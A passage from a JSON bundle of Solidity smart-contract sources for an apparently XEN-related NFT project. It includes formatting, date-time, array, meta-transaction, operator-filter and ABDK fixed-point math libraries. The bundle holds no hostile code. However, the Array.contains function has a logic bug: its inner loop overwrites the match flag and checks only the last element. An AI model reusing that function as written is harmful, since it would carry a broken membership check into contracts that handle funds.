"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary FormattedStrings {\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n Base on OpenZeppelin `toString` method from `String` library\n */\n function toFormattedString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n uint256 pos;\n uint256 comas = digits / 3;\n digits = digits + (digits % 3 == 0 ? comas - 1 : comas);\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n if (pos == 3) {\n buffer[digits] = \",\";\n pos = 0;\n } else {\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n pos++;\n }\n }\n return string(buffer);\n }\n}\n"
},
"/contracts/libs/ERC2771Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n // one-time settable var\n address internal _trustedForwarder;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n /// @solidity memory-safe-assembly\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n"
},
"/contracts/libs/DateTime.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./BokkyPooBahsDateTimeLibrary.sol\";\n\n/*\n @dev Library to convert epoch timestamp to a human-readable Date-Time string\n @dependency uses BokkyPooBahsDateTimeLibrary.sol library internally\n */\nlibrary DateTime {\n using Strings for uint256;\n\n bytes public constant MONTHS = bytes(\"JanFebMarAprMayJunJulAugSepOctNovDec\");\n\n /**\n * @dev returns month as short (3-letter) string\n */\n function monthAsString(uint256 idx) internal pure returns (string memory) {\n require(idx > 0, \"bad idx\");\n bytes memory str = new bytes(3);\n uint256 offset = (idx - 1) * 3;\n str[0] = bytes1(MONTHS[offset]);\n str[1] = bytes1(MONTHS[offset + 1]);\n str[2] = bytes1(MONTHS[offset + 2]);\n return string(str);\n }\n\n /**\n * @dev returns string representation of number left-padded for 2 symbols\n */\n function asPaddedString(uint256 n) internal pure returns (string memory) {\n if (n == 0) return \"00\";\n if (n < 10) return string.concat(\"0\", n.toString());\n return n.toString();\n }\n\n /**\n * @dev returns string of format 'Jan 01, 2022 18:00 UTC' for a given timestamp\n */\n function asString(uint256 ts) external pure returns (string memory) {\n (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, ) = BokkyPooBahsDateTimeLibrary\n .timestampToDateTime(ts);\n return\n string(\n abi.encodePacked(\n monthAsString(month),\n \" \",\n day.toString(),\n \", \",\n year.toString(),\n \" \",\n asPaddedString(hour),\n \":\",\n asPaddedString(minute),\n \" UTC\"\n )\n );\n }\n\n /**\n * @dev returns (year, month as string) components of a date by timestamp\n */\n function yearAndMonth(uint256 ts) external pure returns (uint256, string memory) {\n (uint256 year, uint256 month, , , , ) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(ts);\n return (year, monthAsString(month));\n }\n}\n"
},
"/contracts/libs/BokkyPooBahsDateTimeLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// ----------------------------------------------------------------------------\n// BokkyPooBah's DateTime Library v1.01\n//\n// A gas-efficient Solidity date and time library\n//\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\n//\n// Tested date range 1970/01/01 to 2345/12/31\n//\n// Conventions:\n// Unit | Range | Notes\n// :-------- |:-------------:|:-----\n// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\n// year | 1970 ... 2345 |\n// month | 1 ... 12 |\n// day | 1 ... 31 |\n// hour | 0 ... 23 |\n// minute | 0 ... 59 |\n// second | 0 ... 59 |\n// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday\n//\n//\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\n// ----------------------------------------------------------------------------\n\nlibrary BokkyPooBahsDateTimeLibrary {\n uint256 constant _SECONDS_PER_DAY = 24 * 60 * 60;\n uint256 constant _SECONDS_PER_HOUR = 60 * 60;\n uint256 constant _SECONDS_PER_MINUTE = 60;\n int256 constant _OFFSET19700101 = 2440588;\n\n uint256 constant _DOW_FRI = 5;\n uint256 constant _DOW_SAT = 6;\n\n // ------------------------------------------------------------------------\n // Calculate the number of days from 1970/01/01 to year/month/day using\n // the date conversion algorithm from\n // https://aa.usno.navy.mil/faq/JD_formula.html\n // and subtracting the offset 2440588 so that 1970/01/01 is day 0\n //\n // days = day\n // - 32075\n // + 1461 * (year + 4800 + (month - 14) / 12) / 4\n // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n // - offset\n // ------------------------------------------------------------------------\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) private pure returns (uint256 _days) {\n require(year >= 1970);\n int256 _year = int256(year);\n int256 _month = int256(month);\n int256 _day = int256(day);\n\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n _OFFSET19700101;\n\n _days = uint256(__days);\n }\n\n // ------------------------------------------------------------------------\n // Calculate year/month/day from the number of days since 1970/01/01 using\n // the date conversion algorithm from\n // http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n // and adding the offset 2440588 so that 1970/01/01 is day 0\n //\n // int L = days + 68569 + offset\n // int N = 4 * L / 146097\n // L = L - (146097 * N + 3) / 4\n // year = 4000 * (L + 1) / 1461001\n // L = L - 1461 * year / 4 + 31\n // month = 80 * L / 2447\n // dd = L - 2447 * month / 80\n // L = month / 11\n // month = month + 2 - 12 * L\n // year = 100 * (N - 49) + year + L\n // ------------------------------------------------------------------------\n function _daysToDate(uint256 _days)\n private\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n int256 __days = int256(_days);\n\n int256 L = __days + 68569 + _OFFSET19700101;\n int256 N = (4 * L) / 146097;\n L = L - (146097 * N + 3) / 4;\n int256 _year = (4000 * (L + 1)) / 1461001;\n L = L - (1461 * _year) / 4 + 31;\n int256 _month = (80 * L) / 2447;\n int256 _day = L - (2447 * _month) / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint256(_year);\n month = uint256(_month);\n day = uint256(_day);\n }\n\n function timestampFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 timestamp) {\n timestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n _SECONDS_PER_DAY +\n hour *\n _SECONDS_PER_HOUR +\n minute *\n _SECONDS_PER_MINUTE +\n second;\n }\n\n function timestampToDate(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n secs = secs % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n second = secs % _SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point 